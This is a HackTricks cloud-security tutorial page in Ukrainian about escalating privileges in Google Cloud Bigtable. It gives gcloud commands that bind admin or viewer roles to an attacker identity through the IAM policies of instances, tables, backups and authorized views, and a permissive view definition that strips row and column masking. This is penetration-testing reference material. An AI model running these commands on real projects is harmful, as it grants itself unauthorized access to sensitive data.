GCP - Bigtable Privesc

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks

Bigtable

Детальніше про Bigtable дивіться:

GCP - Bigtable Enum

bigtable.instances.setIamPolicy

Дозволи: bigtable.instances.setIamPolicy (зазвичай також bigtable.instances.getIamPolicy щоб прочитати поточні прив’язки).

Володіння політикою IAM інстансу дозволяє надати собі роль roles/bigtable.admin (або будь-яку кастомну роль), яка поширюється на кожен кластер, таблицю, резервну копію і авторизований перегляд в інстансі.

Надати собі роль bigtable.admin на інстансі ```bash gcloud bigtable instances add-iam-policy-binding \ --member='user:' \ --role='roles/bigtable.admin' ```

Tip

Якщо ви не можете перерахувати існуючі bindings, сформуйте новий документ політики і застосуйте його за допомогою gcloud bigtable instances set-iam-policy, переконавшись, що в ньому збережено ваш доступ.

Після отримання цього дозволу перегляньте техніки в розділі Bigtable Post Exploitation section для додаткових способів зловживання дозволами Bigtable.

bigtable.tables.setIamPolicy

Дозволи: bigtable.tables.setIamPolicy (опціонально bigtable.tables.getIamPolicy).

Політики інстансу можуть бути жорстко налаштовані, одночасно делегуючи окремі таблиці. Якщо ви можете редагувати IAM таблиці, ви можете підвищити себе до власника цільового набору даних без втручання в інші робочі навантаження.

Надайте собі роль bigtable.admin для таблиці ```bash gcloud bigtable tables add-iam-policy-binding \ --instance= \ --member='user:' \ --role='roles/bigtable.admin' ```

Після отримання цього дозволу перегляньте розділ Bigtable Post Exploitation section для технік, що показують інші способи зловживання дозволами Bigtable.

bigtable.backups.setIamPolicy

Дозволи: bigtable.backups.setIamPolicy

Резервні копії можна відновити на будь-який instance у будь-якому проєкті, яким ви керуєте. Спочатку надайте вашій ідентичності доступ до резервної копії, після цього відновіть її в sandbox, де у вас є ролі Admin/Owner.

Якщо у вас є дозвіл bigtable.backups.setIamPolicy, ви можете надати собі дозвіл bigtable.backups.restore, щоб відновити старі резервні копії та спробувати отримати доступ до чутливої інформації.

Отримання власності над резервною копією (snapshot) ```bash # Take ownership of the snapshot gcloud bigtable backups add-iam-policy-binding \ --instance= --cluster= \ --member='user:' \ --role='roles/bigtable.admin' ```

Після отримання цього дозволу перегляньте Bigtable Post Exploitation section, щоб дізнатися, як відновити резервну копію.

Оновлення authorized view

Permissions: bigtable.authorizedViews.update

Authorized Views призначені для маскування рядків/стовпців. Зміна або видалення їх усуває тонко налаштовані запобіжні механізми, на які покладаються захисники.

Оновити authorized view, щоб розширити доступ ```bash # Broaden the subset by uploading a permissive definition gcloud bigtable authorized-views update \ --instance= --table= \ --definition-file=/tmp/permissive-view.json --ignore-warnings

Json example not filtering any row or column

cat <<‘EOF’ > /tmp/permissive-view.json { “subsetView”: { “rowPrefixes”: [“”], “familySubsets”: { “”: { “qualifierPrefixes”: [“”] } } } } EOF

Describe the authorized view to get a family name

gcloud bigtable authorized-views describe
–instance= –table=

</details>

Після отримання цього дозволу перевірте в [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) як читати з авторизованого подання.

### `bigtable.authorizedViews.setIamPolicy`

**Дозволи:**  `bigtable.authorizedViews.setIamPolicy`.

Зловмисник з цим дозволом може надати собі доступ до авторизованого подання, яке може містити чутливі дані, до яких у нього інакше не було б доступу.

<details><summary>Надайте собі доступ до авторизованого подання</summary>
```bash
# Give more permissions over an existing view
gcloud bigtable authorized-views add-iam-policy-binding <view-id> \
--instance=<instance-id> --table=<table-id> \
--member='user:<attacker@example.com>' \
--role='roles/bigtable.viewer'

Після виконання цієї перевірки дозволів у Bigtable Post Exploitation section, щоб перевірити, як читати з авторизованого подання.

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks